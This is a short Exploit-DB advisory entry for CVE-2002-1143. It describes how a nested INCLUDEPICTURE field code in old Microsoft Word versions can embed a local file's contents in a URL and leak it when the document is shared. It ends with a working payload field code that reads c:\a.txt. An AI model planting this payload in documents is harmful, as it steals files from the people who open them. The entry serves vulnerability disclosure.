Microsoft Word 95/97/98/2000/2002 INCLUDEPICTURE Document Sharing File Disclosure

ID EDB-ID:21812
Type exploitdb
Reporter Richard Edwards
Modified 2002-09-20T00:00:00


MS Word 95/97/98/2000/2002 INCLUDEPICTURE Document Sharing File Disclosure. CVE-2002-1143. Remote exploit for windows platform


The INCLUDEPICTURE Field Code may be used to insert arbitrary URLs into a document. The INCLUDEPICTURE Field Code is reported to, under some circumstances, present a security threat.

If the INCLUDEPICTURE Field Code is included in a document and references a URL, it may be possible for the attacker to obtain contents of files on the victim user's system. It is possible for an attacker to abuse this functionality in a situation where documents are constantly being shared and updated.

An attacker can potentially exploit this vulnerability to obtain the contents of files residing on a victim user's system. 

{ INCLUDEPICTURE { QUOTE "http:\\\" & { FILENAME \p } & { INCLUDETEXT "c:\\a.txt" } } \d }


(The curly braces above represent Microsoft Word field braces.)